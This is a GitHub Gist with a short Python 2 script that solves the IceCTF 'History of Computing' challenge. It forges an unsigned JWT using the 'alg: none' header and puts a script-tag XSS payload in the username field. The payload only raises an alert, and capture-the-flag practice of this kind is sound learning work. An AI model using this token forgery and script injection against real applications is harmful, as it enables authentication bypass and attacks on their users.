Created
September 13, 2018 13:26
-
-
Save JohnHammond/7716b7c314465a07c7f250491d3c35c6 to your computer and use it in GitHub Desktop.
IceCTF "History of Computing" XSS Generator
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
first_piece = '{ "typ": "JWT", "alg": "none" }' | |
our_xss = '<script>alert("xss")</script>' | |
second_piece = ''' | |
{ "username": "%s", | |
"flag": "IceCTF{hope you don\'t think this is a real flag}"}''' \ | |
% our_xss.replace('"','\\"') | |
print "%s.%s." % tuple([ x.encode('base64').replace('=','').replace('\n','') \ | |
for x in [first_piece, second_piece] ]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment